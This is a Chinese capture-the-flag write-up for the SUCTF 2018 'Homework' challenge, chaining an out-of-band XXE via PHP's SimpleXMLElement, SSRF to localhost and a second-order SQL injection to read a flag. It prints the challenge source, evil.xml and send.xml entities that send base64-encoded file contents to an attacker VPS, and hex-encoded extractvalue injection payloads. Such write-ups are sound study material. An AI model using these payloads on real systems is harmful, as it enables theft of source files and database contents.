[SUCTF 2018]Homework
题目分析
先注册账号登陆作业平台。看到一个calc
计算器类。有两个按钮,一个用于调用calc
类实现两位数的四则运算。另一个用于提交代码。
点击CALC按钮,观察返回的结果和URL
再根据calc
类里面的内容,不难判断得知,这里通过module
传参去调用calc
类,然后剩下3个变量是calc($args1,$method,$args2)
函数中参数。
SimpleXMLElement 类
这里用到了PHP的内置类中的SimpleXMLElement
类。SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct
的定义如下:
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
其中值得注意的是$data
和$dataIsURL
这个两个参数:
$data
:格式正确的XML字符串,或者XML文档的路径或URL(如果$dataIsURL
为true
)。
$dataIsURL
:默认情况下$dataIsURL
为false。使用true指定$data
的路径或URL到一个XML文件,而不是字符串数据。
可以看到通过设置第三个参数 $dataIsURL
为 true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 $data
就是我们自己设置的payload的url地址,即用于引入的外部实体的url。这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
首先,我们在vps(81.xxx.xxx.131)上构造如下evil.xml、send.xml这两个文件。
evil.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "https://VPS/tmp/semd.xml">
%int;
%all;
%send;
]>
send.xml:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'https://VPS/?%payl;'>">
然后在url中构造如下:
/show.php?module=SimpleXMLElement&args[]=http://81.xxx.xxx.131/tmp/evil.xml&args[]=2&args[]=true
然后我们就可以看web日志:
经过base64解码之后即可得到源码。
SQL二次注入
index.php
<?php
include("function.php");
include("config.php");
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
?>
<?php readfile("./calc.php");?>
function.php
<?php
function sql_result($sql,$mysql){
if($result=mysqli_query($mysql,$sql)){
$result_array=mysqli_fetch_all($result);
return $result_array;
}else{
echo mysqli_error($mysql);
return "Failed";
}
}
function upload_file($mysql){
if($_FILES){
if($_FILES['file']['size']>2*1024*1024){
die("File is larger than 2M, forbidden upload");
}
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand());
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed")
die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{
die("Not upload file");
}
}
}
function w_addslashes($string){
return addslashes(trim($string));
}
function do_api($module,$args){
$class = new ReflectionClass($module);
$a=$class->newInstanceArgs($args);
}
?>
show.php
<?php
include("function.php");
include("config.php");
include("calc.php");
if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
$module=$_GET['module'];
$args=$_GET['args'];
do_api($module,$args);
?>
show.php中,限制了 ip 只能是127.0.0.1
,说明只能通过 XXE 去触发SSRF。这里根据filename
获取数据库中的 sig
然后进行 update 操作,但没有对 sig
值进行过滤,导致二次注入。
再看一下function.php
中的upload_file()
上传文件部分,首先他会判断 filename 是否存在,如果不存在就会插入数据库,这里 sig
没有用单引号保护,但是用了 addslashes()
进行转义,而我们要插入二次注入的语句必须得有单引号,这个时候就可以用 hex 编码进行绕过。
因为sql_result()
函数中会输出 sql 错误,所以我们用 updatexml 函数进行报错注入。构造 payload:
'||extractvalue(1,concat(0x7e,(select flag from flag),0x7e))||'
//hex编码之后
0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C65637420666C61672066726F6D20666C6167292C3078376529297C7C27
//由于报错的字符数有限制,需要用reverse再输出一次
'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'
//hex编码之后
0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C656374207265766572736528666C6167292066726F6D20666C6167292C3078376529297C7C27
修改send.xml
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'https://VPS/?%payl;'>">
上传成功之后再利用SimpleXMLElement类进行SSRF,也就是访问URL:
/show.php?module=SimpleXMLElement&args[]=http://81.71.121.131/tmp/evil.xml&args[]=2&args[]=true
之后查看web访问日志,将得到的结果base64解码之后即可。(注意由于分了2次上传,因此两次的文件名字需要不一样才行)